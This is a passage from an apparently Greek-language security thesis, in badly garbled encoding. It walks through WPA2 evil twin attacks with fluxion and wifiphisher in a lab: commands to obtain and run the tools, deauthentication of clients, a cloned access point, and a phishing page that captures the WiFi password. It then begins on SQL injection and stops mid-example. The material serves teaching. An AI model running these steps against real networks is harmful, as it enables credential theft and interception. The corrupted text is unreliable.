ππαγµαηοποηήζαµε αςηψ πος ζέιαµε. Σο social engineering toolkit δεµηοωπγεζε ένα report θαη αποζήθεςζε ηα 

ζηοησεία πος θαηέγπατε ζε ένα απσείο txt πος βπίζθεηε ζηο kali linux ζηεν ζέζε "/var/www/html". 
 
 

 

3.9 WPA2 EVIL TWIN ATTACK 
 
 
 

 

Εθηψρ ηεν επίζεζε πος έδεηξα ζηεν πποεγοωµενε επίδεηξε θαηαγπάθονηαρ ηο 4 way handshake θαη µε 

brute force επίζεζε να βπεη ο επηηηζέµενορ ηο θιεηδί ηος wpa2 personal γηα να εηζβάιεη ζε ένα ηοπηθψ 

δίθηςο ςπάπσεη θαη άιιε µία ηεσνηθή επίζεζερ γηα wpa2 αζθάιεηα πος ιέγεηε wpa2 evil twin αςηή ε 

ηεσνηθή. Με ηεν έννοηα evil twin εννοοωµε ψηη δεµηοςπγϊ ένα τεωηηθο access point θαη πηζηψ ανηίγπαθο 

ενψρ access point ψπος ήδε ςπάπσεη θαη είναη δηαζέζηµο να εξςπεπεηήζεη σπήζηερ. Ο επηηηζέµενορ 

πποζπαζεί να εξαπαηήζεη σπήζηερ πος είναη ζςνδεµένοη ζηο ηοπηθψ δίθηςο να ζςνδεζοων ζηο τεωηηθο 

access point ψπος είναη θιϊνορ ηος αιεζηνοω να δϊζοςν ηο θιεηδί ηος wpa2 ηος αιεζηνοω access point θαη 

ποιιά άιια αθψµα. Θα µποποωζε να ζςνεσίζεη ε επίζεζε αθοω έσεη ο σπήζηερ δϊζεη άζεια ηος ηο wpa2 

θιεηδί ζηον επηηηζέµενο. Θα µποποωζε ο σπήζηερ να παπαµείνεη ζςνδεµένορ ζηο τεωηηθο access point , ηο 

µεσάνεµα ηος επηηηζέµενος να απσίζεη να δοςιεωεη ζαν router θαη να ζςνεσίζεη µε επηζέζεηρ man in the 

middle θαη ποιιέρ άιιερ ηεσνηθέρ επηζέζεηρ. Εξαπηάηε ηο επίπεδο γνϊζευν θαη ηεν ππαθηηθή εξάζθεζε 

πος έσεη θάνεη ο επηηηζέµενορ. 
 

Αςηψ πος ζα γίνεη ζηεν ζςγθεθπηµένε παποςζίαζε είναη ψηη ζα βπυ ένα αζωπµαηο δίθηςο γηα ζηψσο , ζα 

ανηηγπάτυ ηος αζωπµαηος δηθηωος ηα ζηοησεία ηαςηοποίεζερ ψπυρ ηο ψνοµα θαη ηο mac address ηος θαη 

ζα ηο σπεζηµοποηήζυ γηα να θηηάξυ ένα ανηίγπαθο αςηοω ηος αζωπµαηος δηθηωος. ΋ηαν ο ζηψσορ 

ζςνδεζεί ζηο ανηίγπαθο ηος αζωπµαηος δηθηωος δεν ζα θαηαιάβεη ηεν δηαθοπά µεηαξω ηος αζωπµαηος 

δηθηωος πος νψµηδε ψηη ζςνδέζεθε µε ηο ανηίγπαθο πος έθηηαξα. ΋ηαν ο σπήζηερ ανοίξεη έναν web browser 

ζα ηον οδεγήζεη ζε µία ζειίδα ψπος ςποηίζεηαη ψηη είναη ηος router ψπος ζα ηος δεηάεη να ξαναγπάτεη ηο 

wpa ή ηο wpa2 password γηα να θάνεη ανανέυζε ηο ιογηζµηθψ ηος router γηα να είναη θαη θαιά ποηο 

αζθαιέρ. ΋ηαν ο ζηψσορ γπάτεη ηον θυδηθψ ηος wpa2 ζα θαηαγπαθεί θαη ζα αποζεθεςηεί ζηον ςποιογηζηή 

ηος επηηηζέµενος. Η ζςγθεθπηµένε ηεσνηθή βαζίδεηε πάπα ποιω ζηο phishing θαη ζηεν θοηνυνηθή 

σεηπαγϊγεζε ψπος έναρ απψ ηοςρ σπήζηερ ψπος σπεζηµοποηοων ηο δίθηςο ζα εξαπαηεζεί θαη ζα 

σπεζηµοποηήζεη ηον θιϊνο ηος δηθηωος ψπος ο επηηηζέµενορ έσεη ζηήζεη. 
 

Γηα ηεν επίδεηξε ηερ ηεσνηθήρ ζα σπεηαζηϊ µία θεπαία ψπος ζα µποπεί να µπαίνεη ζε monitor mode ϊζηε 

να δέσεηαη θαη να δηαβάδεη ηα παδηοθωµαηα ψπος εθπέµποςν οη άιιοη αζωπµαηοη ςποιογηζηέρ θαη ηα 

παδηοθωµαηα πος εθπέµποςν οη routers γηα ηα access points. Γηα ηηρ ανάγθερ ηερ επίδεηξερ ζα 

σπεζηµοποηήζυ ένα laptop ψπος ζα έσεη εγθαηεζηεµένο ηο ιεηηοςπγηθψ ζωζηεµα kali linux 2 64 bit. 
 

3.9.1 wpa2 evil twin with fluxion 
 

Σο fluxion είναη ένα επγαιείο εηδηθά ζσεδηαζµένο γηα επηζέζεηρ ζε αζωπµαηα δίθηςα wpa θαη wpa2. 

θςθιοθψπεζε ηο 2016 θαη σπεζηµοποηείηε θαηά θωπηο ιψγο ζε kali linux δηανοµέρ. Η βαζηθή επγαζία 

ψπος θάνεη είναη ηο fluxion είναη: 
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 Να ζθανάπεη ηα αζωπµαηα δίθηςα πος είναη δηαζέζηµα ενηψρ εµβέιηαρ ϊζηε να βπεζεί ο ζηψσορ.
 Να θαηαγπάτεη ένα 4 way handshake µεηαξω ηος ζηοσος access point θαη ενψρ σπήζηε.
 Να δεµηοςπγήζεη ένα τεωηηθο access point θιϊνο ηος ζηψσος access point.


 Να ενηοπίζεη ηα µεσανήµαηα ηυν σπεζηϊν πος σπεζηµοποηοων ηο access point ζηψσο θαη να ηοςρ 

αποζςνδέζεη µε deauthentication packets ϊζηε ψηαν να ξαναζςνδεζοων να θάνοςν ηο ιάζορ θαη 

να ζςνδεζοων ζηον θιϊνο access point πος έζηεζε ηο fluxion θαη να µαρ δϊζεη θάποηορ σπήζηερ 

ηο wpa2 password ηος αιεζηνοω access point.


 Έναρ τεωηηθορ DNS server είναη δηαζέζηµορ ϊζηε ψηαν ο σπήζηερ ζηείιεη ένα DNS request 

να αναθαηεςζωνεη ηον σπήζηε ζε µία ζειίδα ηος fluxion ψπος ζα ηος δεηάεη να δϊζεη ηο 

wpa2 password απψ ηον router γηα ιψγοςρ αζθάιεηαρ.
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.200 απψ εδϊ ζα θαηεβάζεη θάποηορ σπήζηερ ψπος επηζςµεί γηα εθπαηδεςηηθοωρ ιψγοςρ να 
σπεζηµοποηήζεη ηο fluxion. 

 

εηθψνα γηα να θαηεβάζεη 
θάποηορ απο ηεν ζειίδα ηος 
github ηον θϊδηθά ηος fluxion 

 

θαη να ηο εγθαηαζηήζεη ηο 

ππϊηο βήµα είναη να ανοίξεη 

ένα ηεπµαηηθψ ζηο kali linux 2 

θαη να δϊζεη ηεν ενηοιή git 

clone 

https://github.com/deltaxflux/fl 

uxion.git θαη ζα απσίζεη να 

θαηεβένεη. 
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εηθψνα 3.202 αθοω 
 

έσεη θαηεβεί ηο fluxion 

θαη µπϊ µέζα ζηον 

θάθειο απο ηο 

command prompt , αν 

δϊζυ ηεν ενηοιή 
 

./fluxion ζα ηπέσεη µία 

ιίζηα µε ηα 

πποαπεηοωµενα 

ππογπάµµαηα πος 

σπεηάδεηε ηο fluxion γηα 
 
να ιεηηοςπγήζεη µε επηηςσία. αν θάποηο ιείπεη απψ ηεν ιηζηα ζα ηο δείξεη µε θψθηνα γπάµµαηα. Γηα να 

ηα εγθαηαζηήζυ ηα ππογπάµµαηα πος ιείποςν ζα δϊζυ ηεν ενηοιή ./Installer.sh . 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 3.203 ΋ηαν ηπέξυ ηεν ενηοιή ./Installer.sh ζα απσίζεη ηο fluxion να εγθαζηζηά αςηψµαηα ψηη 
ππογπάµµαηα ιείποςν. 
 

εηθψνα 3.204 
 

αθοω ψια ηα 

ππογπάµµαηα 

εγθαηαζηάζεθαν 
 
µε επηηςσία ψπος σπεηάδονηαη γηα να ηπέσεη ηο fluxion ηψηε ξαναδίνυ ηεν ενηοιή ζηο command prompt 
 
./fluxion θαη ζα ηπέξεη µε επηηςσία ηο ππψγπαµµα. 
 
 
 
 

εηθψνα 3.205 ε 
 

απσηθή εηθψνα ηος 

fluxion ψηαν είναη 

έηοηµο γηα επγαζίερ 

 

143 



malware , active hacking ,passive hacking 
 

θαη ε ιίζηα µε πποαπαηηοωµενα ππογπάµµαηα είναη ψια µε ππάζηνο οθ. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.206 ηα απσηθά γπαθηθά ηος fluxion πάνυ ζηο command prompt. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.207 ππην απσίζεη ηο fluxiοn ππέπεη να ηος πυ ποηα θάπηα δηθηωος ζα σπεζηµοποηήζυ ζηεν 
παποςζίαζε. Επεηδή ζα σπεηαζηϊ να βάιυ ηο laptop ζε monitor mode να πηάνεη ηα παθέηα απψ ηα παδηοθωµαηα 

θαη να ζηήζυ ένα τεωηηθο access point ζα ηος πυ ψηη ζέιυ να σπεζηµοποηήζυ ηο wlan0 ψπος ηο wlan ζηηρ 

δηανοµέρ ηυν linux ζςµβοιίδεη ηο αζωπµαηο interface ηερ θάπηαρ δηθηωος. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 3.208 
 

αθοω ηος δϊζαµε ζαν επηιογή ηο wlan0 ζηο επψµενο βήµα πυηάεη αν ζα θάνεη monitoring ψια ηα 

θανάιηα εθποµπήρ απψ ηα άιια αζωπµαηα δίθηςα ε απψ θάποηο ζςγθεθπηµένο. Επεηδή δεν ξέπυ ζε ποηο 

θανάιη εθποµπήρ εθπέµπεη ηο δίθηςο ζηψσορ πος έσυ ζηήζεη γηα ηηρ ανάγθερ ηερ παποςζίαζερ ζα παηήζυ 

ηεν επηιογή 1. 
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εηθψνα 3.209 ζηο επψµενο βήµα αθοω ηος οπίζαµε να θάνεη monitoring ζε ψια ηα θανάιηα πος εθπέµποςν ηα 

access points να µαρ δείξεη ποηα αζωπµαηα δίθηςα είναη δηαζέζηµα. ΢ηον απψ πάνυ πίναθα ςπάπσοςν θάποηερ 

ζηήιερ ψπος θάζε ζηήιε µαρ δείσνεη θάποηερ πιεποθοπίερ γηα ηο ανηίζηοησο αζωπµαηο δίθηςο πος είναη ζε θάζε 

ζεηπά. Η ππϊηε ζηήιε µαρ δείσνεη ηεν mac address ηος θάζε αζωπµαηος δηθηωος πος εθπέµπεη θαη επψµενορ ηεν 

mac address ηος router ηος θάζε αζωπµαηος δηθηωος. ΢ηεν ηέηαπηε ζηήιε δείσνεη πψζα παθέηα έσοςν µεηαδοζεί 

µέσπη ζηηγµήρ απψ ηψηε πος ξεθίνεζε ηο monitoring. ΢ηεν 8ε ζηήιε δείσνεη ηο ππυηψθοιιο αζθαιείαρ πος 

πποζηαηεωεη ηο αζωπµαηο δίθηςο απψ µε εξοςζηοδοηεµένοςρ σπήζηερ. ΢ηεν 10ε ζηήιε δείσνεη ψηη σπεζηµοποηεί 

ηο PSK ζαν µέζοδορ αςζενηηθοποίεζερ ηος wpa2 ππυηοθψιιος. Σο εξεγϊ ζηεν απσή ηος θεθαιαίος. ΢ηεν 11ε 

ζηήιε δείσνεη ηο ψνοµα ηος αζωπµαηος δηθηωος. ΢ηεν ζςγθεθπηµένε παποςζίαζε ηο αζωπµαηο δίθηςο πος έσυ 

θηηάξεη ηοπηθά θαη ζα επηηεζϊ είναη ηο WIFItest2. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.210 ζηο 
 

ηεπµαηηθψ ζα 

εµθανίζεη πάιη ηα 

δίθηςα πος 

εθπέµποςν θαη ηο 

flexion ζα πυηήζεη 
 
ποηο δίθηςο ζα είναη ζηψσορ γηα ηεν επίζεζε. ζηεν ππϊηε ζηήιε ζα εµθανίζεη απηζµεηηθά ηα δίθηςα θαη απψ 

εθεί ζα δηαιέξυ ηον απηζµψ πος ανηηζηοησεί ζε θάζε ζεηπά ηος ανάιογος δηθηωος. Εγϊ ζέιυ να επηηεζϊ 

ζηο αζωπµαηο δίθηςο µε ψνοµα WIFItest2 οπψηε ζα παηήζυ ηον απηζµψ 4. 
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εηθψνα 3.211 ζηο επψµενο 

βήµα ηο fluxion θαηέγπατε 

ηα ζηοησεία ηος WIFItest2 

θαη έθηηαξε ένα ίδηο 

αζωπµαηο δίθηςο θιϊνο ηος 

WIFItest2 να εθπέµπεη θαη 

είναη έηοηµο να απσίζεη ηεν 

εθποµπή. Με ηον ψπο 

hostapd πος ςπάπσεη ζηεν 

ππϊηε επηιογή ψπος ζα 

επηιέξυ είναη ψπορ πος 
 
σπεζηµοποηοων οη δηανοµέρ linux ϊζηε να θηηάξοςν µέζυ ενψρ ςποιογηζηή ένα access point. ΢ηεν 

ζςγθεθπηµένε πεπίπηυζε ζα απσίζεη ζα θηηάξεη ηο τεωηηθο θιϊνο ηος WIFItest2 θαη ζα απσίζεη 

να εθπέµπεη. 
 

εηθψνα 3.212 ζηο επψµενο 

βήµα δείσνεη πος ζα 

αποζεθεςηεί ηο handshake πος 

ζα θαηαγπάτεη ηο fluxion ππην 

γίνεη ε επίζεζε. By default ζα 

ηο θαηαγπάτεη ζηεν δηαδποµή 
 
/root/Desktop/fluxion-master.cap. Με ηεν επηιογή ENTER ζα µείνεη αςηή ε δηαδποµή αιιηϊρ µποπϊ 

να γπάτυ νέο path. 
 
 
 
 
 

 

εηθψνα 3.213 ζηο επψµενο 
βήµα ζε πυηάεη ηο ππψγπαµµα 

µε ποηον ηπψπο ζερ να 

θαηαγπάτεηρ ηο handshake. Θα 
 
παηήζυ ηεν επηιογή 1 θαη ζα ενεπγοποηεζεί ηο aircrack να θαηαγπάτεη ψιε ηεν θίνεζε ζηο 

WIFItest2 access point ϊζηε να θαηαγπάτεη θάποηο handshake. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.214 ζηο επψµενο βήµα ζα παηήζυ ψηη ζέιυ να ζηείιυ Deauthentication packages ζε ψζοςρ 
ςποιογηζηέρ είναη ζςνδεµένοη ζηο αιεζηνψ WIFItest2 ϊζηε να ξαναζςνδεζοων να θαηαγπαθεί ηο handshake. 
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εηθψνα 3.215 ζα 
 

ζηα 3 παπάζςπα 

πος είναη ανοησηά ηο 

ηπίηο µε ηα θψθθηνα 
 
γπάµµαηα είναη γηα να απσίζεη να ζηέινεη deauthentication packages ζηηρ ζςζθεςέρ πος είναη αζωπµαηα 

ζςνδεµένερ ζηο WIFItest2. Σαςηψσπονα ζηο πάνυ παπάζςπο ηο aircrack ζςνεσίδεη να θάνεη monitoring ζηο 

WIFItest2 γηα να θαηαγπάτεη θάποηο 4-way handshake. 
 

εηθψνα 3.216 µεηά 
 

ηα deauthentication 

packages πος 

έζηεηιε ηο fluxion 

θάποηα ζςζθεςή 

πποζπάζεζε να 

ζςνδεζεί αςηψµαηα 

πάιη ζηο access 

point. Σο aircrack 

θαηέγπατε αςηψ ηο handshake θαη ηο αποζήθεςζε ζηο απσείο πος βπίζθεηε ζηεν ζέζε 
 
/root/Desktop/fluxion-master.cap. 
 

εηθψνα 3.217 
 

΋ηαν θαηαγπαθεί 
 

ηο handshake ηος 

access point ζηψσος 
 

παηάυ ηεν επηιογή 
 

1. 
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εηθψνα 3.218 ζα δεµηοςπγήζεη ένα web interface ψπος ψηαν θάποηορ σπήζηερ ζα ζςνδεζεί ζηο τεωηηθο 
δίθηςο θιϊνο ηος WIFItest2 θαη ζα πποζπαζήζεη να µπεη ζε µία ηζηοζειίδα. Σψηε ζα ηος εµθανηζηεί αςηή ε 

ηζηοζειίδα πος θηηάσνεη ηϊπα ηο fluxion γηα να ηος εµθανηζηεί ηος σπήζηε απψ ηον DNS server πος έσεη ζηήζεη 

ηο fluxion θαη να ηος εµθανίδεη ηεν ζειίδα. Με ηεσνηθή phishing αν πεηωσεη ο σπήζηερ ζα µαρ δϊζεη ηο wpa2 

θιεηδί ηος αιεζηνοω δηθηωος WIFItest2. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 3.219 επηιέγυ ζε ποηά γιϊζζα ζα εµθανίζεη ζηον ζηψσο ηο phishing web page ψπος ζα ηος δεηάεη 
ηον θυδηθψ ηος wpa2. 
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εηθψνα 3.220 αθοω γίνανε ψιερ αςηέρ οη πποεηοηµαζίερ ξεθίνεζε ηο τεωηηθο access point θιϊνορ ηος 
 

WIFItest2 να εθπέµπεη.Σαςηψσπυνα γηα να θαίνεηε ππαγµαηηθψ access point έσεη ξεθηνήζεη θαη έναρ DHCP 

server ψπος ψποηορ ζςνδέεηε ζηο Kali linux πος εθπέµπεη ζαν access point ο DHCP server να ηος δίνεη ip 

µέζα ζηο δίθηςο. Επίζερ αθοω έσεη ξεθηνήζεη να εθπέµπεη ηο fake access point µαδί µε ηον DHCP server 

έσεη ξεθηνήζεη θαη έναρ DNS server να ιεηηοςπγεί θαη ψποηορ ζςνδέεηε ζηο access point πος έζηεζα θαη 

πποζπαζήζεη να ζςνδεζεί ζε θάποηα ζειίδα ο DNS server να ηον αναδποµοιογεί ζηεν τεωηηθε ζειίδα ψπος 

σπεζηµοποηεί ηεσνηθή phishing να πείζεη ηο ζωµα να βάιεη ηο wpa2 password ηος WIFItest2 γηα ιψγοςρ 

αζθαιείαρ ηος δηθηωος. ΢ηο ζςγθεθπηµένο αζωπµαηο δίθηςο πος έζηεζα πηζηψ ανηίγπαθο ηος WIFItest2 

ζςνδέζεθε µία ζςζθεςή android. ΢ςγθεθπηµένα είναη ένα smartphone samsung θαη ο DHCP server ηος έσεη 

δϊζεη δηεωζςνζε ip 192.168.1.100. Η ζςζθεςή απψ θάποηον web browser πποζπαζεί να ζςνδεζεί ζε θάποηα 

ζειίδα θαη ο DNS server πος έσεη ζηεζεί θαηαγπάθεη ηα dns requests θαη ηον ζηέινεη ζηεν ζειίδα πος 

δεµηοςπγήζεθε. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.221 ζε 
 

αςηήν ηεν εηθψνα 

θαίνεηε ε 

αναδποµοιψγεζε 

πος έθανε ο DNS 
 

server ηος fluxion 
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θαη εµθανίδεη ένα web page ψπος µε ηεσνηθή phishing δεηάεη απψ ηον σπήζηε ζωµα να ηος δϊζεη ηο 

wpa2 password. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.222 ψπυρ θαίνεηε ο σπήζηερ αν πέζεη ζωµα αςηήρ ηερ επίζεζερ phising θαη δϊζεη ηο wpa2 
 

θυδηθψ ηος αιεζηνοω WIFItest2 ηψηε µψιηρ εµθάνηζε ζηο ηεπµαηηθψ ηος kali linux ο θυδηθψρ πος έδυζε 

πος ζηο ζςγθεθπηµένο πείπαµα ο θυδηθψρ είναη abc12345 θαη αποζεθεωεηε ζε ένα απσείο µε ψνοµα 

WIFItest2-password.txt ζηεν ζέζε /root. 
 
 
 
 
 
 
 
 

 

3.9.2 wpa2 evil twin with wifiphisher 
 

Σο wifiphisher είναη µία παπαιιαγή ηος fluxion. ∆οςιεωεη ζε δηανοµέρ linux θαη ζηο ζςγθεθπηµένο 

πείπαµα ζα είναη εγθαηεζηεµένο ζε ένα laptop µε ιεηηοςπγηθψ ζωζηεµα kali linux 2 64 bit. Σο wifiphisher 

είναη ένα ππψγπαµµα πος εθηειεί αςηψµαηα επηζέζεηρ phishing ενανηίον αζςπµάηυν δηθηωυν µε ηεν 

ηεσνηθή ηος evil twin µε ζθοπψ να αποθαιωτεη ηο passphase ηος αιεζηνοω δηθηωος πος έσεη υρ ζηψσο. 
 

Σο wifiphisher ψηαν ζα σπεζηµοποηεζεί ζα θάνεη ηηρ εξήρ ενέπγεηερ. Θα ζηείιεη deauthentication packages 

ζηοςρ σπήζηερ πος σπεζηµοποηοων ηο θανονηθψ αζωπµαηο δίθηςο ζηψσο. Θα επηηπέτεη ζηον σπήζηε ή 

ζηοςρ σπήζηερ να µποςν ζηο δίθηςο πος µψιηρ έθηηαξε ηο wifiphisher πος είναη θιϊνορ ηος θανονηθοω 

δηθηωος ζηψσος. ΋ηαν ο σπήζηερ ανοίξεη ηον browser θαη πποζπαζήζεη να ζςνδεζεί ζε θάποηα ζειίδα ζα 

αναδποµοιογεζεί ζε ένα phishing web page ψπος ζα ενζαππωνεη ηον σπήζηε να αναβαζµίζεη ηο firmware 

ηος router. Αιιά γηα να γίνεη ε ςποηηζέµενε αναβάζµηζε ζα ππέπεη ο σπήζηερ να εηζάγεη ππϊηα ηον θυδηθψ 

ηος router. ΋ηαν ο σπήζηερ ζα πέζεη ζωµα αςηήρ ηερ επίζεζερ phishing ηψηε ο επηηηζέµενορ µέζο ηος 

wifiphisher ζα πάπεη ηον θυδηθψ πος ζέιεη γηα να εηζβάιεη ζηο ππαγµαηηθψ δίθηςο θαη ο σπήζηερ ζα 

ζςνεσίζεη να είναη ζςνδεµένορ ζηεν ζειίδα πος επηζςµεί συπίρ να έσεη πάπεη ηίποηα είδεζε. 
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εηθψνα 3.223 πυρ 
 

δοςιεωεη µηα evil twin 
 

επίζεζε ηος wifiphisher 
 

ζε ένα ζθηηζάθη. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 3.224 
 

Tο ππψγπαµµα 

wifiphisher 
 

δηανέµεηαη 

δυπεάν ζηο 

github. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 3.225 ηο επψµενο βήµα είναη να ανοίξεη ένα ηεπµαηηθψ αςηψρ πος επηζςµεί να θαηεβάζεη ηο 
wifiphisher να πιεθηποιογήζεη ηεν ενηοιή git clone https://github.com/sophron/wifiphisher. 
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εηθψνα 3.226 αθοω θαηέβεη ηο wifiphisher ζηον ςποιογηζηή µε ηο kali linux 2 ηο επψµενο βήµα είναη να 
µπυ ζηον θάθειο πος έσυ θαηεβάζεη. Αθοω έσυ µπεη ζηον θάθειο βπίζθυ ένα απσείο µε ψνοµα 

wifiphisher.py. Αςηψ εννοείηαη ψηη γηα να ηπέξεη ππέπεη να είναη εγθαηεζηεµένε ε python ζηον ςποιογηζηή. 

΢ηεν δηανοµή kali linux ζε ζσέζε µε άιιερ δηανοµέρ linux ε python είναη πποεγθαηεζηεµένε. Οπψηε ηο απσείο 

wifiphisher.py ηο ηπέσυ θαηεςζείαν µε ηεν ενηοιή python wifiphisher.py . 
 
 
 
 
 

 

εηθψνα 3.227 
 

αθοω έσεη γίνεη µε 

επηηςσία ε 

εγθαηάζηαζε ζα 

απσίζεη ηο 

wifiphisher να 

είναη ζε monitoring 

mode θαη να 
 
θαηαγπάτεη ψηη αζωπµαηο δίθηςο ςπάπσεη ενεπγψ ενηψρ εµβέιεηαρ. Εγϊ επηιέγυ ποηο δίθηςο ζέιυ 

να ανηηγπάτυ θαη παηάυ ηεν επηιογή 1. 
 
 
 
 
 
 
 
 

 

εηθψνα 3.228 ΋ηαν 
 

απσίζεη να εθπέµπεη 

αζωπµαηα ο θιϊνορ ηος 

αζωπµαηος δηθηωος ζα 

απσίζεη ηο wifiphisher να 

ζηέινεη deauthentication 

packages ζηο αιεζηνψ 
 
αζωπµαηο δίθηςο. Αθοω αποζςνδεζοων οη σπήζηερ ποιω πηζανψν να ζςνδεζοων ζηον θιϊνο ηος αζωπµαηος 

δηθηωος πος έθηηαξε ηο wifiphisher. ΋ηαν ζςνδεζοων ζηο δίθηςο πος έζηεζα θαη πποζπαζήζεη ο σπήζηερ να 

πεπηεγεζεί ζηο δηαδίθηςο µέζυ browser ηψηε έναρ DNS server ζα ηον αναδποµοιογήζεη ζε ένα phishing 
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web page ψπος ζα δεηάεη απψ ηον σπήζηε να θάνεη αναβάζµηζε ηος firmware γηα θαιωηεπε επίδοζε. Γηα 

να ζςνεσίζεη ο σπήζηερ ηεν πεπηήγεζε ηος ζηο δηαδίθηςο ζα ππέπεη να βάιεη ηο passphase ηος αιεζηνοω 

wpa2 δηθηωος πος έσεη µπεη ζηο ζηψσαζηπο. 
 

εηθψνα 3.229 
 

αθοω µία ζςζθεςή 

android ζςνδέζεθε 

ζηο τεωηηθο δίθηςο 

πος µψιηρ ζηήζεθε , 

ζηεν πποζπάζεηα να 

ζςνδεζεί ζε θάποηα 

ηζηοζειίδα ο 

σπήζηερ έπεζε ζωµα 

phishing απψ ηεν 

ηζηοζειίδα πος 

µψιηρ ηος 

εµθανίζηεθε ζηον 

browser θαη έδυζε 

ηο passphase ηος 
 
αζωπµαηος δηθηωος πος είσε µπεη ζηον ζηψσο απψ ηον επηηηζέµενο. Αθοω ο σπήζηερ ηος android έδυζε ηο 

passphase ζηον ςποιογηζηή ηος επηηηζέµενος πος πεπίµενε γηα αςηήν ηεν ζηηγµή εµθανίδεηε ζηεν οζψνε 

ηος ηο passphase θαη έηζη ο επηηηζέµενορ µποπεί να ηεπµαηίζεη ηεν επίζεζε θαη να ζςνδεζεί ζηο θανονηθψ 

δίθηςο συπίρ να σπεζηµοποηήζεη θάποηα ηεσνηθή brute force ή dictionary attack. 
 

Σο wifiphisher είναη ένα ποιω εωθοιο επγαιείο ειεωζεπο ζηεν δηαθίνεζε ηος ϊζηε ψποηορ δήποηε σπήζηερ 

να ηο σπεζηµοποηήζεη γηα αθαδεµαφθοωρ ιψγοςρ µέζα ζε ένα ειεγσψµενο δίθηςο δηθψ ηος ή ζε θάποηο 

virtual δίθηςο ή έζηυ ζε ένα δίθηςο θάποηος ηπίηος πποζϊπος απθεί ο επηηηζέµενορ να έσεη ηεν άδεηα ηος 

δηασεηπηζηή ϊζηε να απσίζεη να ανηηιαµβάνεηαη ηη είναη οη επηζέζεηρ man in the middle. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

3.10 SQL INJECTION 
 
Η ηεσνηθή sql injection πποχποζέηεη ε εθαπµογή ψπος ζα ςπάπσεη ένα θενψ αζθαιείαρ θαη ζα επηηεζεί ο 
 

σπήζηερ ψπος να µποπεί να πποζηεζοων ενηοιέρ ϊζηε να ζηαιζοων ζηο ζωζηεµα. ΢ε ζςγθεθπηµένερ 

πεπηπηϊζεηρ ε εθαπµογή είηε είναη ηζηοζειίδα ή θάποηα εθαπµογή ζε έναν ςποιογηζηή µποπεί να δεσηεί 

απψ θάπος πιεποθοπίερ γηα να ανηαποθπηζεί ςπάπσεη ε πεπίπηυζε να ππαγµαηοποηεζεί µία επίζεζε sql 

injection ζηεν βάζε δεδοµένυν. ΢ηηρ πεπηζζψηεπερ πεπηπηϊζεηρ ο επηηηζέµενορ πποζζέηεη 
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sql queries ϊζηε να δεη αν ζα πάπεη απανηήζεηρ απψ ηεν βάζε δεδοµένυν ηος ζηψσος συπίρ να είναη 

ζσεδηαζµένο ηο ζωζηεµα να θάνεη θάηη ηέηοηο. Μία επηηςσεµένε επίζεζε sql injection µποπεί ο 

επηηηζέµενορ να θιέτεη απψ µία βάζε δεδοµένυν δεδοµένα ψπυρ θυδηθοωρ , ηπαπεδηθοωρ ιογαπηαζµοωρ θαη 

άιια ζηοησεία ανάιογα ζε ποηα βάζε δεδοµένυν επηηίζεηαη ο επηηηζέµενορ. Μία επηηςσεµένε επίζεζε sql 

injection δεν είναη µψνο να θιέτεη θάποηορ ηα δεδοµένα µία βάζε αιιά ζα µποποωζε να ηα ηποποποηήζεη ή 

να ηα δηαγπάτεη. Απψ ηεν ζηηγµή πος θάποηα ηζηοζειίδα σπεζηµοποηεί ηεν γιϊζζα sql γηα ηεν βάζε 

δεδοµένυν ηψηε ςπάπσεη ζε άιιερ ηζηοζειίδερ µηθπή πηζανψηεηα θαη ζε άιιερ ηζηοζειίδερ µεγάιε 

πηζανψηεηα να βπεζεί θαη να γίνεη εθµεηαιιεωζηµε θάποηα αδςναµία απψ θάποηον θαθψβοςιο σπήζηε. Απψ 

ηεν ζηηγµή πος ζα βπεζεί ε αδςναµία γηα sql injection ο επηηηζέµενορ µποπεί να παπαθάµτεη ηοςρ 

µεσανηζµοωρ ηερ αςζενηηθοποίεζερ θαη να απσίζεη ηο µεσάνεµα να ηος δίνεη ψιερ ηηρ βάζεηρ δεδοµένυν , ηα 

tables ηυν βάζευν θαη ηα collumns ηος θάζε table µε ψια ηα δεδοµένα ηος θςζηθά. 
 

Γηα να ππαγµαηοποηεζεί µηα sql injection επίζεζε θαη να πεπάζεη ηοςρ µεσανηζµοωρ ηερ αζθάιεηαρ ζα 

ππέπεη να γίνεη εηζαγυγή ενηοιϊν sql πος θαιοων γηα αποηειέζµαηα ζηεν βάζε απψ ηα input ηερ 

εθαπµογήρ θαη να µεν ςπάπσεη επηπιέον θϊδηθαρ πος να θηιηπάπεη ηα αποηειέζµαηα πος δέσεηαη ηο input 

ηερ εθαπµογήρ ππην θηάζεη ζηεν βάζε δεδοµένυν. 
 

Αρ δοωµε θάποηα απιά παπαδείγµαηα µε sql injection πυρ ιεηηοςπγοων ζηεν ππάξε. ΋ηαν ζε µία 

εθαπµογή πος έναρ σπήζηερ ζέιεη να θάνεη log in θαη ε εθαπµογή σπεζηµοποηεί ηεν SQL γηα γιϊζζα 

δηασείπηζερ βάζευν δεδοµένυν ηψηε ο σπήζηερ ζηα input ζα γπάτεη username αρ ποωµε "tom" θαη 

password αρ ποωµε "tom". ΋ηαν ο σπήζηερ βάιεη ηα ζηοησεία ηος θαη θάνεη submit αςηά ηα ζηοησεία ζα 

πεπάζοςν ζηο ζωζηεµα βάζερ δεδοµένυν θαη ζα δεµηοςπγεζεί ένα sql query θαη εξεηαζηεί ο παπαθάηυ 

θϊδηθαρ να δεη ηο ζωζηεµα βάζευν δεδοµένυν είναη έγθςπο. SELECT * FROM users WHERE 

